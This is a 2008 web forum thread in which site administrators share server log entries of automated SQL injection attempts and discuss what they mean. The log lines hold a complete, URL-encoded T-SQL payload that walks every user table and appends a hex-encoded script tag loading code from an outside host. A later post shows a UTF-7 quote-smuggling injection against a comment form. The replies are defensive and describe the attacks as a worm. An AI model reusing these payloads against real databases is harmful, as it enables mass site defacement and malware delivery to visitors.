Sign in to follow this  
Followers 0
Motiv

SQL Inection attempts

6 posts in this topic

From the logs today:

2008-06-05 06:41:37 x.x.x.x GET /detail.aspx ID=5194;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xType=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C736372697074207372633D687474703A2F2F666C797A68752E393936362E6F72672F75732F48656C702E61737

03E3C2F7363726970743E%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 80 - 140.129.22.12 HTTP/1.1 GoogleBot - - www.ourwebsite.com 403 6 64 0 854 296

2008-06-05 06:41:40 x.x.x.x GET /detail.aspx ID=5194';dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xType=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C736372697074207372633D687474703A2F2F666C797A68752E393936362E6F72672F75732F48656C702E61737

03E3C2F7363726970743E%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 80 - 140.129.22.12 HTTP/1.1 GoogleBot - - www.ourwebsite.com 403 6 64 0 855 3296

2008-06-05 06:41:40 x.x.x.x GET /detail.aspx ID=5195;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xType=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C736372697074207372633D687474703A2F2F666C797A68752E393936362E6F72672F75732F48656C702E61737

03E3C2F7363726970743E%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 80 - 140.129.22.12 HTTP/1.1 GoogleBot - - www.ourwebsite.com 403 6 0 1744 854 281

2008-06-05 06:41:40 x.x.x.x GET /detail.aspx ID=5195';dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xType=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C736372697074207372633D687474703A2F2F666C797A68752E393936362E6F72672F75732F48656C702E61737

03E3C2F7363726970743E%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 80 - 140.129.22.12 HTTP/1.1 GoogleBot - - www.ourwebsite.com 403 6 64 0 855 249

What do you all make of this? I don't think it was successful - The http return code was 403 forbidden. I've been through the database and code on our pages making sure no yay fun scripts were being called from CommieVille.

0

Share this post


Link to post
Share on other sites

could perhaps be some sort of worm trying to implant itself...

Secfocus has been doing articles on stuff like that.

Edited by RETN
0

Share this post


Link to post
Share on other sites

If I were you, I'd be more worried if I didn't see those. It's normal to have hundreds of thousands of those types of attacks happening and generally they are attacking scripts that you don't even have installed or that wont even run on your system. Most likely some work or script kiddy.

0

Share this post


Link to post
Share on other sites

I actually had someone try something like that today. What do you make of this?

A new comment on the post #3 "Welcome to the new PA1N.org site" is waiting for your approval
http://www.pa1n.org/2007/03/11/new_site/

Author : Bill836790185+ACc-,+ACc-738910707billy@msn.com+ACc-,+ACc-+ACc-,+ACc-90.168.55.169+ACc-,+ACc-2008-06-04 13:58:42+ACc-,+ACc-2008-06-04 13:58:42+ACc-,+ACc-+ACc-,+ACc-0+ACc-,+ACc-lynx+ACc-,+ACc-comment+ACc-,+ACc-0+ACc-,+ACc-0+ACc-),(+ACc-0+ACc-, +ACc-+ACc-, + (IP: 124.217.250.190 , svservers.com)
Comment:
<strong>None</strong>

I'm not even sure what the little prick was trying to do. They did successfully post more characters than the script was set to allow, but it didn't "overflow" because it just gets sendmail'd to my gmail.

Any thoughts?

0

Share this post


Link to post
Share on other sites

You see those a lot. Some worm or mass-exploit program running. Keep your web software up to date and you'll be fine. If you search for those strings you'll usually find the security advisory that explains how they work and what software versions they effect.

0

Share this post


Link to post
Share on other sites

These have been pretty rampant. I have to give props to whoever originally wrote the tool. It is definitely very effective. I like how it crawls websites for injectable fields and not just trying to exploit the same script on every site. On this particular one they are trying to insert the javascript at http://flyzhu.9966.org/us/Help.asp. I did a google search for the tags that are injected and got 187 results which is kind of low for these kind of attacks. Most of them I see have thousands of infections.

0

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0